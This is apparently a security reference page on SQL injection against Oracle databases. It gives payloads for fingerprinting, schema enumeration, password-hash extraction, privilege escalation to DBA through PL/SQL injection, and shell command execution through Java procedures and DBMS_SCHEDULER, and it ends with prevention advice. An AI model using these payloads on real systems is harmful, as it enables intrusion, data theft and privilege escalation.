Skip to content
CWE-89A03:2021 – Injection

Oracle

Mandatory FROM clauses, no LIMIT, no stacked queries, and uppercase identifiers — the engine where the most standard payloads fail for syntactic reasons.

Fingerprinting

Oracle is usually identified by what fails. Payloads that work everywhere else error out because Oracle demands a FROM clause on every SELECT and has no LIMIT.

Markers:

  • SELECT 1 is a syntax error; SELECT 1 FROM dual works
  • Errors are numbered ORA-#####
  • || concatenates
  • ROWNUM instead of LIMIT/TOP

Identification probes

SQL
' AND 1=(SELECT 1 FROM dual)-- -       -- dual exists only in Oracle
' AND ROWNUM=1-- -
' AND 1=(SELECT banner FROM v$version WHERE ROWNUM=1)-- -

-- The giveaway: a UNION that works elsewhere fails here
' UNION SELECT NULL-- -               -- ORA-00923: FROM keyword not found
' UNION SELECT NULL FROM dual-- -     -- works

-- Error format:
-- ORA-01756: quoted string not properly terminated
-- ORA-00933: SQL command not properly ended
-- ORA-01789: query block has incorrect number of result columns

Syntax Reference

OperationSyntax
Comment-- - or /* */
VersionSELECT banner FROM v$version WHERE ROWNUM=1
Current userSELECT user FROM dual SYS_CONTEXT('USERENV','SESSION_USER')
Current databaseSELECT SYS_CONTEXT('USERENV','DB_NAME') FROM dual
Concatenationa||b CONCAT(a,b) (two args only)
SubstringSUBSTR(s,1,1)
LengthLENGTH(s)
ASCII valueASCII(c)
Char from codeCHR(65)
CastTO_CHAR(x) TO_NUMBER(x) CAST(x AS varchar2(50))
DelayDBMS_PIPE.RECEIVE_MESSAGE('a',5) DBMS_LOCK.SLEEP(5)
ConditionalCASE WHEN cond THEN a ELSE b END DECODE(x,a,b,c)
Row limitWHERE ROWNUM=1 FETCH FIRST 1 ROWS ONLY (12c+)
Aggregate rowsLISTAGG(col,',') WITHIN GROUP (ORDER BY col)
No-table SELECTNot possible — FROM dual is mandatory
Stacked queriesNot supported through standard drivers

Schema Enumeration

SQL
-- Tables the current user can see
SELECT table_name FROM all_tables
SELECT table_name FROM user_tables       -- owned by current user only
SELECT owner,table_name FROM all_tables WHERE owner NOT IN ('SYS','SYSTEM')

-- Columns. NOTE: Oracle stores unquoted identifiers UPPERCASE,
-- so match on the uppercase name or nothing comes back.
SELECT column_name,data_type FROM all_tab_columns WHERE table_name='USERS'

-- Everything at once
SELECT LISTAGG(table_name||'.'||column_name,', ')
       WITHIN GROUP (ORDER BY table_name)
FROM all_tab_columns WHERE owner=USER

-- Users and privileges
SELECT username FROM all_users
SELECT * FROM user_role_privs
SELECT * FROM session_privs               -- what THIS session can do
SELECT granted_role FROM user_role_privs WHERE granted_role='DBA'

-- Password hashes (needs SYS access)
SELECT name,password FROM sys.user$
SELECT username,password FROM dba_users   -- 11g and earlier

No Stacked Queries — and What Replaces Them

Oracle's standard drivers do not permit multiple statements in one call, so '; DROP TABLE … simply errors. This removes the most direct escalation path available on MSSQL and PostgreSQL.

What is available instead:

Function calls inside the existing SELECT. Anything reachable as a function — UTL_HTTP.REQUEST, DBMS_PIPE.RECEIVE_MESSAGE — can be invoked without a second statement, which is why Oracle exploitation leans so heavily on the UTL_* packages.

PL/SQL injection. If the injection point is inside a PL/SQL block rather than a plain SQL statement — a common pattern in Oracle applications — you can inject full procedural code including EXECUTE IMMEDIATE, which is effectively arbitrary SQL execution.

Injectable stored procedures. A procedure defined with AUTHID DEFINER runs with its owner's privileges. Finding an injectable one owned by SYS is the classic Oracle privilege escalation. See Privilege Escalation.

PL/SQL injection and EXECUTE IMMEDIATE

SQL
-- Vulnerable procedure pattern: dynamic SQL built by concatenation
-- inside a DEFINER-rights procedure.
CREATE PROCEDURE get_user(p_name VARCHAR2) AUTHID DEFINER AS
  v_sql VARCHAR2(4000);
BEGIN
  v_sql := 'SELECT * FROM users WHERE name = ''' || p_name || '''';
  EXECUTE IMMEDIATE v_sql;
END;

-- Injecting a function call that runs with the procedure owner's rights:
-- p_name = x'' AND 1=(SELECT my_evil_function FROM dual)--

-- The classic escalation: a function that grants DBA, called from
-- a SYS-owned injectable procedure.
CREATE FUNCTION evil RETURN VARCHAR2 AUTHID CURRENT_USER AS
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'GRANT DBA TO attacker';
  COMMIT;
  RETURN 'x';
END;

-- AUTONOMOUS_TRANSACTION is required because DDL is not
-- permitted in the calling transaction context.

File Access and Command Execution

SQL
-- File read via UTL_FILE (needs a directory object and EXECUTE on UTL_FILE)
SELECT directory_name,directory_path FROM all_directories;

DECLARE
  f UTL_FILE.FILE_TYPE; s VARCHAR2(4000);
BEGIN
  f := UTL_FILE.FOPEN('MY_DIR','file.txt','R');
  UTL_FILE.GET_LINE(f,s);
END;

-- Java stored procedures — the main RCE route (needs JAVASYSPRIV)
CREATE OR REPLACE JAVA SOURCE NAMED "X" AS
  public class X {
    public static String run(String c) throws Exception {
      Runtime.getRuntime().exec(c); return "ok";
    }
  };
CREATE FUNCTION jrun(c IN VARCHAR2) RETURN VARCHAR2
  AS LANGUAGE JAVA NAME 'X.run(java.lang.String) return String';
SELECT jrun('/bin/sh -c id') FROM dual;

-- DBMS_SCHEDULER — execute without Java (needs CREATE JOB)
BEGIN
  DBMS_SCHEDULER.CREATE_JOB(
    job_name => 'x', job_type => 'EXECUTABLE',
    job_action => '/bin/sh', number_of_arguments => 2,
    enabled => FALSE);
  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('x',1,'-c');
  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('x',2,'id > /tmp/o');
  DBMS_SCHEDULER.ENABLE('x');
END;

Quirks Worth Knowing

Every SELECT needs FROM. Use FROM dual for expressions. This breaks most copy-pasted payloads and is the single most common reason an Oracle injection is missed.

No LIMIT. WHERE ROWNUM=1 for one row. ROWNUM is assigned before ORDER BY, so WHERE ROWNUM=1 ORDER BY x does not give you the first row by x — wrap the ordered query in a subquery instead. FETCH FIRST n ROWS ONLY exists from 12c.

Identifiers fold to UPPERCASE. WHERE table_name='users' returns nothing; it must be 'USERS'. This wastes a lot of time.

No stacked queries. Adjust expectations accordingly.

|| is the only reliable concatenation. CONCAT() takes exactly two arguments, unlike everywhere else.

Privilege model is package-centric. Whether you can do anything interesting comes down to EXECUTE grants on UTL_HTTP, UTL_FILE, DBMS_SCHEDULER, and friends — historically granted to PUBLIC on older installs.

Network ACLs. From 11g, UTL_HTTP and UTL_INADDR require an ACL grant for the target host, which blocks many otherwise-working out-of-band payloads.

Prevention

Use bind variables — :name in PL/SQL, ? in JDBC. See Java.

Within PL/SQL specifically, EXECUTE IMMEDIATE with a concatenated string is the recurring flaw. Use EXECUTE IMMEDIATE … USING with bind arguments, and prefer DBMS_ASSERT (SQL_OBJECT_NAME, ENQUOTE_LITERAL) when an identifier genuinely must be dynamic.

Oracle-specific hardening:

  • Define procedures AUTHID CURRENT_USER unless definer's rights are genuinely required.
  • Revoke EXECUTE on UTL_HTTP, UTL_INADDR, UTL_FILE, DBMS_SCHEDULER, DBMS_PIPE, and DBMS_LOB from PUBLIC.
  • Do not grant JAVASYSPRIV or CREATE JOB to application accounts.
  • Keep network ACLs restrictive.
  • Never let the application connect as SYS, SYSTEM, or any DBA member.